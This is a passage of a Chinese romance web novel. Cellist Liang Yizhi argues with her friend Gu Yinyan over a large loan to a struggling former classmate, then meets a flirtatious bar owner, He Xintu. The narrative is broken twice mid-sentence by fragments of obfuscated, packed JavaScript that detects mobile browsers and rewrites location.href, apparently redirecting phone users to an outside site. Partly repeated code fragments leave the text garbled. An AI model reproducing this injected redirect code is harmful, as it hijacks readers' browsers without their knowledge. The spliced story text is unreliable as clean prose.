林柚见她还记得自己,也不由得露出了笑容:“太好了。我还以为……你可能把我忘了。” “怎么会?” 林柚是梁亦芝的高中同学,两人同是大提琴专业,初入校园时,座位就是一前一后,关系也算不错,只是后来……听说林柚家里出了点事,父母公司破产,没有经济条件再培养她学习音乐,所以才过一年,林柚就退学了。 她们现在的往来仅限于朋友圈。 梁亦芝的每一条朋友圈林柚都会点赞,时不时在下面给她评论,诸如:真美、好漂亮、这个裙子特别适合你……之类的。梁亦芝每次看见了也都会礼貌回复。 虽然双方都已经渐渐淡出了对方的生活,但在这样一个特别的节点,在校园附近遇上了许久未见的老同学,也让梁亦芝颇有感慨。 绿灯跳转,行人纷纷通过,他们几人还停留在原地。 梁亦芝给顾寅言介绍:“这个是我的高中同学,林柚。这是我朋友,顾寅言。” 顾寅言只礼貌颔首:“你好。” 林柚也点头回应。 梁亦芝扫一眼她身上的工作服,问:“你在上班?就这么跑出来没关系吗?” “啊,没事的,我给我同事打过招呼了,很快就回去。” 大概是因为顾寅言在一旁,梁亦芝察觉林柚看上去有点不自在。她看向身边人说:“要不你先回去吧,我在这跟林柚聊一会儿。” 顾寅言没多说什么,简单告别,给他们腾出了叙旧的空间。 等那道身影走远了,林柚才复又开口,微笑道:“没想到过去这么多年了,还能见到当年的大名人。今天真是太巧了!” 她瞄着顾寅言的背影,凑近梁亦芝,八卦地问:“亦芝,你和顾寅言……你们在一起了?” 梁亦芝立刻澄清:“没有的事。我们只是朋友,刚刚一起吃了个饭,就在这附近逛逛。” “真没想到,这么多年过去了,你们还玩得这么好。”林柚笑说,“也怪我眼龊,看见好看的人们就自动把他们匹配成一对了。” 这么站在大街上不太适合聊天,梁亦芝指了指后面的咖啡厅:“你能出来多久?要是不急着回去的话,我请你喝杯咖啡吧。” “按理说应该去光顾一下你们店里,但我也怕你的同事来活了不高兴,所以还是去照顾一下别人的生意吧!” 两人走进咖啡厅,林柚把奶茶店的围裙帽子都摘了,他们随便找了个位置坐下。 谢过梁亦芝后,林柚拿起咖啡吸了一口,还在感叹:“真没想到还能碰到。刚刚看到你们经过的背影,我一眼就认出来了,怕又错过,一时激动就追上来了,没吓到你吧?” “当然没有。”梁亦芝看着面前的女生。几年过去,她变化很大,五官还是和当时一样精致,可精气神却不复从前了。 梁亦芝坦诚道,“其实当年你退学之后,我给你发过消息。但所有人的信息你都没有回,我也不敢再多问什么。” 她双眼诚挚,问得小心翼翼:“你现在过得好吗?” 林柚莞尔:“我挺好的,那些事都过去了。” “那……大提琴呢?” 林柚停顿了几秒,捂着手里的杯子,垂下眼睫:“从那之后,我就没再摸过了。” 她视线落在对面梁亦芝的手上。 那双手干净、温软,细腻又不乏磨砺。 那是一双大提琴家的手。 林柚说:“其实后来我也想过,把大提琴重新捡起来学,但可能是老天爷不让吧。刚冒出这个想法之后,我就出了一场车祸,我的手腕骨折了。” “正中神经和尺神经都受到了损伤,留下了后遗症,现在我的手也没办法长时间用力,连一个矿泉水瓶都拧不开。从那时起我就知道,恐怕我和任何乐器,都彻底无缘了。” 梁亦芝难以置信,一时间怔住了,不知道该怎么接话。 “对不起,我没想到会是这样……” 余光看到一旁放着的围裙和帽子,她又关心道:“那你怎么去奶茶店打工了?摇奶茶那么辛苦,怎么不找个轻松一点的工作?” 林柚摇了摇头,笑容很无力:“我高中退学,文化课又不好。一开始靠着家底还能勉强维持生计。但最近……” 她欲言又止,像是不想在外人面前透露生活的不堪:“我爸他……身体出了点毛病,我不能再颓废下了,得出来打工赚钱才行,我爸还等着手术费,等着痊愈以后我带他出去旅游呢。” 听到这里,梁亦芝的心脏也泛起钝痛。 麻绳专挑细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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第二天,回玉城的车上,梁亦芝把这件事也告诉了顾寅言。 她说着自己的打算:“我准备回去之后,再帮她看看,有没有工资客观、又清闲一些的工作。还要再找找,有没有靠谱一点的医生,让她父亲转到更好的医院。” 梁亦芝看着窗外,有些伤感:“你说大家的生活原来都是好好的,怎么就碰上了这么不幸的事情呢?” 顾寅言听完,只是眉头微皱:“所以,你都没有确认一下她父亲的情况,直接就把钱打给她了?” 梁亦芝回头,朝他看过去。 她对他的冷漠、不近人情感到非常不可思议,她不明白顾寅言听说这件事的第一反应为什么会是问出这个问题。 “你是说,我还得先问人家要一下父亲卧病在床的照片吗?” “……我不是那个意思。” 顾寅言察觉到她的态度突变,放软了语气,耐心解释:“我只是觉得,三十万不是小数目,你应该再谨慎一点。” “三十万确实不是小数目,那是活生生的一个人,是他父亲的一条命。我不想袖手旁观,看着朋友陷入困境中却什么也不做。” 谈话氛围莫名变得沉重了起来。 阳光透光挡风玻璃照进来,都惹人厌烦。 梁亦芝心中不快,可顾寅言似乎决心要跟她杠到底: “父亲生病,那是她的责任,不是你的责任,你没必要什么都往自己身上揽,那只会招来麻烦。” “顾寅言,我不明白。”她侧身,坐在副驾上,几乎整个人都面向了他,“三十万对你而言不过就是撒撒水。你手上戴的一块表,家里随便一件古董,哪样拿出来不比这个值钱?为什么就不能对别人稍微宽容一些呢?” “我只是站在客观的角度分析,并没有说不会帮她。” 顾寅言冷着脸:“况且她既然要筹钱,那就不该只是找了一份奶茶店的工作,还在上班时间偷跑出来。” 梁亦芝盯着面前人那张凌厉的侧脸,只是持续的沉默。 她知道顾寅言不像她。 他没那么滥情,不怎么心软,不会意气用事,不会任凭情绪做出一个草率的决定。 顾寅言永远不做没有把握的事,也不会在没有理性分析过就轻易出手。 但她没想到,在人性面前,他竟然也能这么冷冰冰的,以上位者的姿态,全知的视角,来指责那些被命运裹挟的人。 突如其来涌上来的认知,有些陌生和割裂,让她一时间说不出话来。 她应该想到他会是这样的态度。 毕竟当初对谢昀、对Gary,他也是如此。 梁亦芝轻轻吐出一句: “顾寅言,你太自以为是了。” 21. Hook 梁亦芝少见的冷着脸:“你问我有没有确认过她父亲的情况,只不过是觉得,像林柚这样的人,不配跟我们交朋友,对吗?” 她轻飘飘地说出这两句极有分量的话。 顾寅言脸色绷得更难看,薄唇抿成一道直线。 他行云流水地打方向盘,把车子疾速停到一旁的应急车道上。 高速上,旁边车流飞驶而过。 车停稳,他手还扶在方向盘上。 顾寅言问:“在你眼里,我是这样的?” 梁亦芝偏过头,拒绝跟他沟通。 顾寅言沉着脸,足足冷静了五分钟后,才重新启程。 一路开到梁亦芝家小区门口,两个人相对无言。 车内死一般的沉寂。 到她家楼下,梁亦芝想推门下车,却发现车门仍未解锁。 “我要下去。”她说。 “梁亦芝,我们好好谈谈。” “没什么可谈的。”她面色沉静,“我已经决定了,也把钱转给她了。这件事就这样。” “……好,这件事就这样。”顾寅言从鼻腔中发出一声沉重的叹息,继续道,“我没有要阻拦你做别的什么,但话我还是要说,别太容易轻信别人。” 梁亦芝只是淡淡反驳:“那我又凭什么信你?” 他看她冷漠的侧脸,压了一路的怒火终于蹦出苗头:“梁亦芝,你吃的苦头还不够多么。你真以为别人接近你就是想跟你交朋友?” “那些示好只不过是因为你的家庭、你的身份、你拥有的那些资源罢了。你以为全世界的人都跟你一样单纯么?” 梁亦芝鼻子泛酸,越听越觉得刺耳:“顾寅言,你每次都非要把话说得这么直白吗?” 他说的那些道理她不是不懂。 她知道她的家世、她所拥有的那些让她收获了很多的好处,所以从小到大,她的世界里身边所有人都是善良可爱的。 但不管他们的本意是什么,既然她接受了那些所谓的善意,她就会把自己收到的那些同等地回报回去。 梁亦芝不觉得这是错的。 她也不懂,为什么直到现在顾寅言还是不肯放下自己的姿态。 “你说所有人都是因为我拥有的东西才接近我。” 梁亦芝看着他的眼睛,静静地反问,“那你呢?” “你想从我这里得到的是什么?” 夜深了,路灯的暗光从玻璃前方洒进来,小区里万籁俱寂。 车内安静地好似只能听见他们两人的呼吸。 顾寅言没说话。 是啊。 他想从她那里得到的是什么呢? 少顷,他低下了头,刘海垂下,遮住他那双锐利的眼。 他有很多话想说,但却不知道该从哪一句开始说起。 他想告诉她他并不是针对她,而是他从小见过很多那样的人。他想说明他跟别的人不一样,可他却拿不出任何证据来佐证自己。 长久的缄默后,谈话彻底陷入僵局。顾寅言不再自讨没趣,抬了手,解锁车门。 随着一声响,梁亦芝没多犹豫,开门下车,兀自拿了行李上楼,连一声道别都没有。 顾寅言仰靠在驾驶座上。 薄薄的眼皮,微微遮去了上半部分的瞳孔,眸光不在,眼底像无尽的漩涡。 顾寅言回了家。 他先进了地下室。 坐在真皮沙发前,长腿交叠,他无声地望着面前幽蓝的世界。 鱼缸有灯光配置,从顶部打下来。 水面波纹漾开,在颜色迥异的珊瑚上晕开错落闪烁的光影。 斑斓的鱼群自由自在地在他所施舍的空间里徜徉来去。 看了好一会儿,似乎还是没能化解心头烦闷。顾寅言回屋,换了衣服,来到别墅后院的泳池。 他常年保持运动,身上皆是明显的健身痕迹。肩膀很宽,偏偏到腰腹处又收窄,腹肌线条清晰可见,胯部的沟壑延伸向下。 泳池边的灯光打在周围的石墙上,他一头扎进了水里,流畅地摆动身体。 顾寅言在水下睁开眼睛。 泳池不深,水底光线昏暗,空无一物。耳朵被堵住,周遭一切杂音在没入水中后归于宁静。 他仿佛进入了地下室里那个他一手置办的海底世界。 水里的世界无声静谧,没有过多的牵扯和纷争。 这里足以让他平息内心那些不堪的私念,和蠢蠢欲动的欲望。 这里平和地让人沉醉,沉醉到痴迷,甚至让人想就这么死在这个安逸的理想世界里。 梁亦芝说他不明白,说他高傲自大、自以为是。 可她不知道,他从小认识到的现实就是这样的。 顾寅言不像传言中那样,是含着金汤匙出生的继承人。 还在牙牙学语时,仅仅因为投胎成功,他就拥有了常人几乎几辈子都无法得到的财富。顾寅言被家族捧在手心,又是独子,仿佛整个世界都是围绕着他转的。 所以他那严苛的父母觉得,这样不行。 众星捧月的生活,只会让一个人的双眼被蒙蔽,他只能看到别人让他看到的、听到别人说给他听的。 作为将来要把所有家产都握在手里的主权人,这种环境只会让他无法分辨是非,被关在楚门的世界里。 为了排除这种潜在的危机,顾家决定,给孩子换一个环境。 他被父母寄养到了一个普通人的大家庭里,人数繁多,关系混乱。 最开始,寄养的那家人并不知道他的家庭背景,只把顾寅言当成一个惹人的累赘,每每看向他,眼神里都流露出厌恶之色。 因为他是小孩,言语间也毫不避讳,大肆地当面嘲弄他是没人要的孩子。 可当父母来看他的时候,那些人的态度又变了。 看见了那对夫妻开的车、戴的首饰、随行的司机,他们这才终于戴上那副谄媚的面具,开始向他示好了。 对此顾寅言只觉得烦躁。 他只能学着观察他们,学着去分辨那些人给予的善意。 所以在他看来,真心被当作别有所图并不可怕,可怕的是假意被当作真心。 最后被骗的一方输得一败涂地。 他不希望梁亦芝受那样的伤。 顾寅言阖眼屏息,沉在水里。 时间流逝,他用全身的感官去感受氧气一点点被吞噬,胸口的心跳渐渐提速。 短暂的窒息感过后,随之而来的竟是一种求生本能与濒临极点的生理反应,相互对冲的快感。 胸腔肺腑被狠狠挤压,耳膜里响彻轰鸣。在氧气消耗殆尽的最后一秒,他直起身,冲出了水面。 - 跟顾寅言吵过架之后的头两天,梁亦芝的心情不太好。 她打电话给何嫚,让她陪自己出门散散心。 正在挑选地点时,她想起了之前去的那个清吧。环境优美、饮品也有特色,氛围舒适,便把见面的地点约在了那里。 晚上八点,何嫚开车带梁亦芝来到了HOOK。 HOOK是这家酒吧的名字。 露台刚刚开放,玻璃门大敞开。有许多座位被提前预定了,还有刚刚在室内的客人也纷纷端起杯子,有说有笑地朝露台涌过去。 梁亦芝拉着何嫚,好不容易窜到最前列,抢占了最后一个座。 何嫚脱下西装外套坐下。 梁亦芝见她里面只穿了件抹胸,惊愕道:“这里风很大,你别着凉了。” “都坐露台上了,还怕什么,这样才凉快。”何嫚丝毫不惧这秋风,对她来说不过是挠痒痒罢了。 她问梁亦芝:“怎么今天想出来喝酒了?这么难得。谁惹你生气了?” “也不算吧,就是和顾寅言吵了几句,有点郁闷。” “又是顾寅言?”何嫚笑一声,“什么事儿啊?” 梁亦芝把事情的来龙去脉跟何嫚说了。 何嫚端着下巴,认真听她讲完,才道:“亦芝,我说这话不是帮着顾寅言。你俩的出发点都没错,但是,顾寅言的提醒不是没道理的。” “我明白。”梁亦芝叹一声,“所以后来,我让她给我补了字据的,转账说明上也做了备注。” 虽然有点莽,但她到底还是给自己留了个心眼。 她静静低着头:“只是他说的话,让我有点伤心。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223783|164655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一些重话,外人来说或许无关痛痒,但如果是出自最亲密的人嘴里,那伤害便会成倍增加,原本一点莫须有的情绪都会被无限放大。 梁亦芝现在就是这样,心头升上一股毫无缘由的委屈。 何嫚安抚她:“哎呀,顾寅言那家伙你还不知道?他从来都是嘴巴比刀尖还利,嘴上逞能而已。” “你没发现吗?他最喜欢说反话,每次咱们送他礼物,他明明很喜欢,却总说是因为讨厌丢东西产生的罪恶感;明明每次都愿意跟我们一块玩,还嘴硬说是怕我们死在外面。” 何嫚轻笑一声:“你也别因为这些小事影响心情了,咱们都冷静两天,说不定就好了。” 何嫚拍了拍梁亦芝的头顶,她的头顺着她的力道点了两下。 不管怎么样,把憋在心底的东西说出来了,她也总算好受了些。 坐下来半天,台面上还是空的,何嫚摊开桌上的酒单问:“来点酒水润润嗓子先。有什么好喝的,你给我推荐一下呗?” 梁亦芝爽快答:“你先看你有没有特别想喝的,没有的话我直接给你点。” 何嫚手在酒单划了一圈,这酒水名字起得抽象,每一串文字都饶有兴味。她看了半天也拿不定主意,决定还是把这重任交给梁亦芝。 梁亦芝拿着单子去了吧台。 她站在吧台前,垂眸看着手里的酒单,对里面的工作人员道: “你好,我要一杯‘湿透的月亮’,一杯‘烧星野’……嗯……还有一杯……” “‘烧星野’的度数很高,两位女士确定要点这个吗?” 一道清亮的嗓音在她头顶响起,陌生又熟悉。 视野里的墨色大理石吧台上,出现一双白而骨瘦的手,青色脉搏凸起,顺着小臂缓缓攀爬至上。 梁亦芝目光顺着那双手,抬起头。 卷曲的一头黑发今天也被打理得漂漂亮亮。她撞进他沼泽一般极具吸引力的笑眼里,大脑一瞬间忘记了思考。 “不记得我了?” “……当然记得。”梁亦芝召唤六神归位,极速翻过脑海里的姓名册回忆,脱口而出: “你是……贺新年?” “真棒!”他夸张地拍了两下手,不可思议地感叹,“虽然我的名字叫贺新图。” …… 梁亦芝尴尬地笑笑:“不好意思啊。” 大概是年近末尾,她的潜意识已经在想着快过年了。 贺新图只是微笑着看她。 他并不介意她记错自己的名字,毕竟距离他们的上一次见面,已经过去很久了。 见他站在吧台里,还穿着工作服,梁亦芝主动问:“你在这里上班吗?” “不。”贺新图伸手,将她手里攥着的酒单压到桌面上,食指在上方扣了扣,“我是这里的老板。” “真的?”梁亦芝很是惊讶,“真是太巧了。我常来这里,特别喜欢这家店的酒和氛围。” 贺新图勾勾唇:“那我很荣幸。” 梁亦芝提起上次分别的时候:“上次你走的太快了,我还没来得及跟你打声招呼。” “那天我接了个电话,临时有点事,就先离开了。” 贺新图解释完,从裤袋里掏出手机:“加个联系方式?” “好。” 梁亦芝正准备扫对方的二维码时,贺新图却把屏幕移开了。 他微微低头靠近了她: “在这之前,我要先确认一下,今天来的只有你们两位吗?” “是的。” “上次那两个男生呢?”贺新图说着,视线扫过她的脸。 她的脸小又偏短,眼睛很圆,鼻子尖翘,皮肤细腻到看不出毛孔。 贺新图低声:“那天后面来的那个男生,是你的男朋友?” 梁亦芝会想起顾寅言站在门口的画面,她诚实道:“不是,就是朋友而已。” 听到自己想要的回答,贺新图松一口气:“那太好了。” 梁亦芝不解:“什么?” 贺新图的声音像在酒液上方漂浮的冰块,撞在杯壁上,清脆悦耳。 “因为我差点以为,我们要做不成朋友了。” 22. 巴赫 心上有羽毛轻扫过的错觉。 梁亦芝没敢看他的眼睛,只是低头,试图用两侧落下的头发遮住自己微红的脸颊。 手机屏幕屏幕显示扫码成功,成功添加了名为Hook的用户。 贺新图给人打上备注,把手机收起,说: “对了,刚刚你点的‘烧星野’,酒精度超过30%了,你们两个女孩子恐怕不合适。” 他拿来一个空玻璃杯,用一块柔软的布耐心擦拭:“如果你愿意相信我的建议,今天给你们调两杯特别限定的怎么样?就当我请客。” “还有特别限定的?” “当然。”他放缓语调,“酒单上没有的,正在调制的新品。” 没有人能拒绝“限定”、“新品”这些字眼,梁亦芝瞬间来了兴致,眸光忽闪,亮晶晶的。 “那怎么好意思……”她客套一番,“既然这样,改天我请你吃饭,也算是弥补上次的遗憾,感谢你出手相助。” “行啊。”贺新图笑着回应,“就我们俩吗?” “对。”梁亦芝发觉自己答得太快了,又着补两句,“也可以叫上她们……” “没问题。” 贺新图突然打断了她,一口答应下来。梁亦芝有些恍惚,但最后也只是笑了下。 两人闲聊几句,梁亦芝回到了露台卡座。何嫚疑惑问:“出了什么问题吗?怎么去了那么久?” 梁亦芝说:“你还记得,上次在火锅店,帮我们拦着张骐的那个男生吗?我刚刚碰见他了。” 她给她指了指吧台的方向:“他叫贺新图,是这家酒吧的老板。” 何嫚张开了嘴,惊呼了声OMG,顺着她手指方向望过去。 贺新图穿着黑色的T恤,脖子上挂着条卡其色的围裙,手里正握着个易拉罐。他单手拉开拉环,将汽水倒进玻璃杯里。 疑似察觉到不远处的目光,他掀起眼皮,隔着露台的玻璃看过来,又朝她们笑了笑。 何嫚骂出句英文脏话,立刻把头扭了回来。 梁亦芝问:“怎么了?” “此男不简单。”何嫚拿手挡着嘴,咕哝着,“到底有什么可笑的,跟人机似的。” 梁亦芝不解:“我觉得他笑起来还挺好看……” “你看,男人就这么轻轻一放饵,你就上钩了!”何嫚轻拍了下桌板,“不行啊,赶紧忘掉,洗洗脑。” 何嫚试图分析帮她祛魅:“你看,他嘴那么红,牙齿又那么白,一笑跟鬼似的,哪儿好看了?一点都不好看!” “你这么说,好像也是……” “指不定是化了妆来的,这么注重形象,肯定也是那种品味俗的不行的男的,哎,要不得要不得……” “你们是在说我吗?” 两人闻声抬头。贺新图已经解下了围裙,亲切地端着酒,站在她们桌前。 何嫚笑容僵住,连连摆手,正色道:“……你想多了铁子,我们在聊的是……昨天晚上看的恐怖片。呵呵……” 贺新图挑挑眉,没戳穿她们,将手里托盘上的酒放下。 “这杯杯是你们点的‘湿透的月光’。另外两杯是新品特调,尝尝看。”他端来几杯颜色各异、造型精致的酒。 “顺便也可以给我些评价,看看还有没有能改进的地方。” 贺新图说完,自然地在靠近梁亦芝一侧的位置坐下。 桌上两杯新品酒,一杯是奶白色的,酒液上放着一块白白胖胖的棉花糖,表面被烤焦了部分。 另一杯则是相反的猩红色,深沉浓郁,酒液边缘一圈点缀着气泡,不知他做了什么处理,酒上甚至还飘出几缕烟雾。 贺新图把红色的那杯放到了梁亦芝面前,又把白色的那杯放到了何嫚手边。 何嫚瞟一眼说:“我看还是把红色的那杯给我吧,她酒量不好,喝这种掺奶的就行。” 她伸手就要去调换,被贺新图抬手拦住: “别急,先尝尝看。” 梁亦芝和何嫚对视一眼,两人双双举起杯子。 梁亦芝的嘴唇抵在杯沿上,轻抿了一口。 酒刚染在唇缘上,梁亦芝就露出惊喜之色,立刻开口夸赞道:“好清新的味道,酸酸甜甜的,好特别。” “你这样会让我觉得你是在给我面子。”贺新图忍不住失笑,没想到她会如此捧场。他示意:“你可以再多喝两口。” “真的。”梁亦芝目光炯炯,朝他看过去,分享自己的评价。 “一开始入口很烈很刺激,但是很快就被后面的酸甜味化解了。加上气泡水,回味也很够劲。”她舔舔唇,“不知道我说的对不对,好像还有一点花香。” 贺新图顿了顿:“对,是栀子花。” “好可爱的酒。”梁亦芝笑笑,再次称赞,“不愧是老板!” 梁亦芝说完,见贺新图一直盯着自己,看了好一会儿,忽然低低地笑了出来。 梁亦芝忽然涌起一股外行人的羞耻感:“……是不是我说错了什么?” 贺新图摇摇头,笑过之后,眼神显得更加清亮了。 他道:“你是第一个这么评价的人。我也觉得很特别。” “我喝得不多,如果有什么讲的不对的地方,你别放心上。总之我想表达的就是,真的是非常好的一杯新品,以后它一定会被列到酒单的第一排的。” “个人感受而已,没有什么对不对的。至于排序,你的建议我会采纳的。” 见他们有说有笑,对面的何嫚表情意味深长,悄悄立起手机,打开相机调整角度,把对面的两个人都收进了取景框里。 做完这些,她端起自己那杯酒,嘴里嘟囔:“哪有那么夸张?” 这酒估计就是个普通的小奶酒,她扬起脸,灌了一大口。酒从喉咙滑下去,温热的感觉瞬间烧过食道,直达胃底。 何嫚苦着脸:“我去……真够劲的……” 贺新图看见了,抬手指了指最上层的棉花糖:“现在你可以把它吃了。” 何嫚又低头看了眼,棉花糖的半边身子已经浸泡在了白色的酒水里,看起来蔫蔫的,她再度点评: “真没想到是这个味。” “我把淡奶油和奶混在一起加进去了,不过基酒还是威士忌。”贺新图解释后,又看向他,语气耐人寻味: “所以,别光看外表,什么味道还是得尝了才知道。” 何嫚听出了,他在含沙射影自己刚刚对他贸然评判。何嫚人也爽气,大方地表示:“行,今天是我唐突了。以后,我多介绍介绍朋友们来你家。就是不知道贺老板能不能多给我们尝尝新品,见见世面了?” 贺新图点头:“当然可以。随时欢迎。” 酒局结束,贺新图又亲切地表示要可以送她们回家。考虑到他之前有过优良的“前科”,她们直觉他应该不是个坏人,便答应下来。 贺新图先离开一步,去把车开到店门口。 梁亦芝和何嫚站在酒吧外,目送贺新图的背影渐渐远去,何嫚拱了拱身边的人。 “怎么样?” “什么?” “贺老板呀。”何嫚眨眨眼,别跟我说你看不出来,贺老板明显对你有意思。” “你想多了。”梁亦芝否认,“他可能只是比较爱笑。” 虽然嘴上这么说,但男女之间总是有一种天然的磁场,当擦出火花时,双方总是有感应的。 今晚,梁亦芝的身体似乎过了一遍那酥酥麻麻的电流,心跳的频率,有些超乎了她的想象。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229813|164655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 何嫚啧啧:“不过这哥还挺有态度的,不知道谈起恋爱什么样,正式开始之前,还是多观望观望吧。” 梁亦芝怪她想象力太丰富:“……八字还没一撇呢。” “那谁说的准?”何嫚搭上她肩膀,“感情就是看的一个契机,懂不懂?时机到了,什么感情都能升华。” 梁亦芝把她这话听进去了,正盯着远处思忖着,何嫚一句话打破了这萧索的气氛: “只要有契机,跟一头猪看对眼也说不准哦。” 梁亦芝:“……你瞎说什么呢。” 何嫚仰颈,望天大笑起来。 - 贺新图设置了导航,按照路线,先把何嫚送了回去,再送梁亦芝。 下车前,何嫚千叮咛万嘱咐:“到家了跟我视频啊,贺老板,我家亦芝身上一根头发都不能少,麻烦您费心了!” 贺新图见她如此谨慎,抱歉地开玩笑:“我最多只能保证她不会少一根手指头。” 何嫚离开,只剩梁亦芝和贺新图两个人在车上,空气陡然变得稀薄起来,梁亦芝一时不知该找什么话题。 看看窗外的风景,又摸摸自己的头发。 贺新图忽然开了口,打破沉闷:“今天回去晚了,会不会影响你明天上班?” “没事的。”梁亦芝说,“我明天早上休息。” “介不介意我猜一下你的工作?” 梁亦芝一愣:“你猜是什么?” “我想,应该会是跟乐器有关的?或者某种手艺。”贺新图看了眼上方的后视镜,后座的人也正盯着他,警惕地竖起耳朵。 他被她那模样逗笑了,澄清说:“别误会,我只是看到了你手指上有茧,瞎猜的而已。如果你觉得我很冒犯,也可以不用回答我。” 梁亦芝怔然,她可能真的是神经太紧绷了,没想到竟被对方看穿。 “不,我只是觉得有点意外。” 梁亦芝放松下来:“你猜的很准,我是大提琴手。手上的茧子都是练出来的。” 这个回答似乎出乎了贺新图的意料之外。 贺新图:“真有意思。我想起来了,刚刚店里放了那首巴赫的《G弦上的咏叹调》,怪不得你听到这首曲子的时候,神色变了。” “有吗?”梁亦芝弯了唇,“可能是职业病。” 车里放着与他们话题毫不相干的流行音乐。 贺新图自言自语着:“巴赫听起来还不错呢。” “你喜欢巴赫吗?” “喜欢。” “那你一定是个很聪明的人。” 贺新图以为她在反讽,不以为意地笑说:“好吧。被你看穿了,其实我一点都不懂。” “不是的,”梁亦芝赶忙圆场,“我没有在嘲笑你的意思。” 她认真解释:“巴赫的音乐很讲究秩序与编排,可能比较晦涩难懂。他喜欢把多条旋律结合在一起,音符之间既要遵循规律,又能实现完美调和。” “如果要欣赏他的音乐,或许要从相对理性的角度来看,才更能听懂。所以我才想说,你应该也是个喜欢钻研逻辑的聪明人。” 贺新图彻底惭愧了,有几分后悔跟她聊了这些: “你真的很会夸奖别人。” 聊着没有营养的话题,不知不觉就抵达了目的地。 临走前道别,贺新图对梁亦芝说:“下次再见。有机会的话,真想看一次你的演出。” “我们乐团演出很多,你如果有空的时候可以告诉我,我请你。” 隔着一扇车窗,贺新图轻轻笑了,他摇了摇头,那一顶卷毛盛着路灯的侧影微微的颤动: 他的语调柔和下来: “其实我想看的是,你为我一个人演奏。” 23. 信号 梁亦芝站在那,有一瞬间,整个世界都静下来了。 她站在原地,耳边风吹作响,掩盖住了她擂鼓般的心跳。 不该这样的。 她跟谢昀分手不过才过了一个多月,她就对别的男人动心了,这合适吗? 理智告诉她,她对贺新图或许只是酒精作用后一时上头,引发的荷尔蒙反应,那代表不了什么。 贺新图饶有兴味地看着眼前女孩茫然无措的面孔,双瞳泛着流光,发丝被风带过,搭在挺翘的鼻尖上。 每次他说了令她意想不到的话,她就会露出这样的表情,好似他说了什么惊世骇俗的东西。 这让他觉得很有意思。 贺新图很贴心地给了她台阶下:“你快回去吧,否则一会儿少了点什么,你朋友就该唯我是问了。” 梁亦芝总算中断胡乱的思绪,点点头,“那你也小心,路上注意安全。” 分别后。 梁亦芝双手拎着包在身前,朝家的方向走,一路走,一路想。 这太快了。 和贺新图只是第二次见面而已,她对他完全没有任何了解,只知道他的名字和工作,其余信息都是一纸空白。 贺新图对她也是如此,仅仅是几个小时的交流,他就对她发起如此猛烈的攻势,简直让她晕头转向。 梁亦芝不是没有收到过追求,过去有人追她时,也使过千奇百怪的招数。在她宿舍楼下拉横幅、花了一个月为她亲手制作礼物、连续一学期每天接送她给她带早饭……她都经历过。 可追求方式再花哨,也要看当事人是谁。不来电的人,使出浑身解数也赢不来一个笑脸。 但问题就在于贺新图明明什么都没做,她就晕晕乎乎地要陷进去了。 回到家打开门,被冷风呼了一路的脸颊仍未褪去温度。 这是一种非常危险的信号。 梁亦芝在心里提醒着自己。 时间不早,她赶紧换了衣服去洗漱,出来时看到十分钟前贺新图发来的消息。 【安全到家。】 梁亦芝想了想,觉得还是得礼貌回复人家。她拿起手机:【辛苦你了,酒很好喝,今天很开心,下次有机会再见吧。】 她打完这串文字放下手机,屏幕几乎是即刻又重新亮起: 【当然有机会。】 【我等着你的那顿饭。】 - 周末,蒋徊被顾寅言拉去打网球。 他刚从大西北自驾游回来,累了好些天,好不容易能休息,就被顾寅言赶着上球场,跟个陀螺似的。 在今天第三回合结束之后,蒋徊终于决定撂挑子,他把球拍扔在地上,插着腰不满地朝对面的人大声呵斥: “顾寅言,你犯什么毛病?我刚回来,给你做了两天的球童,捡球捡的我腰间盘都要突出了,还有没有人性?” “你自己打不好怪谁?” 顾寅言不理会他的抱怨,握着球拍的手腕转了转,示意他赶紧把球捡起来,“继续,别浪费时间。” 蒋徊问:“你说吧,谁惹你了?” “没谁。” “……我看你是纯把我当枪使,在我身上发泄你用不完的精力吧?”蒋徊挤着脸,抬手摇了摇,“真不来了。你要是闲得慌,就应该找个恋爱谈谈去,消磨一下时间,我真伺候不动你这大少爷。” 顾寅言回他:“你之前谈恋爱的时候,也没忙到哪儿去。” “……我前对象是医生!拜托,哪个医生那么闲,要是天天跑出来跟我谈情说爱,那才该让人担心。” “所以你也少劝我。” 蒋徊啐他一嘴:“德行。” 说不过他,蒋徊走向一边的长椅休息,坐在场边灌水,一边休息刷手机。 顾寅言看他一眼,独自走到对场,捡起荧光绿色的球,百无聊赖地一下下地把球砸到地上,等它弹起又接住。 他表面看上去却很平静,但仔细观察的话能发现,他正在有意识地控制着自己手腕活动的力道,砸下去的每个球,弹起的高度几乎都是在同一水平线。 跟梁亦芝吵架之后这些天,顾寅言的心情就跟地上不断弹起又落下的网球一样,起起伏伏地波动。 每当他以为平复了的时候,焦躁的种子又会再次暗中滋长起来。 顾寅言沉浸在手下,忽然听见蒋徊喊他。 他抬起头。 蒋徊拿着手机对他道:“昨晚何嫚发群里的照片看了没?” “什么?” “你是没看到还是忘记了? “消息太多,懒得爬楼。” “那你就错过大瓜了啊。”蒋徊笑着,他调出那张照片,“俊男美女,花前月下……咱们亦芝还是很抢手的哦。” 球弹起,落回顾寅言的掌心里。 顾寅言出声:“什么意思?” 蒋徊翻转屏幕:“你自己看,何嫚说这是昨天晚上她们俩出去喝酒认识的朋友。” 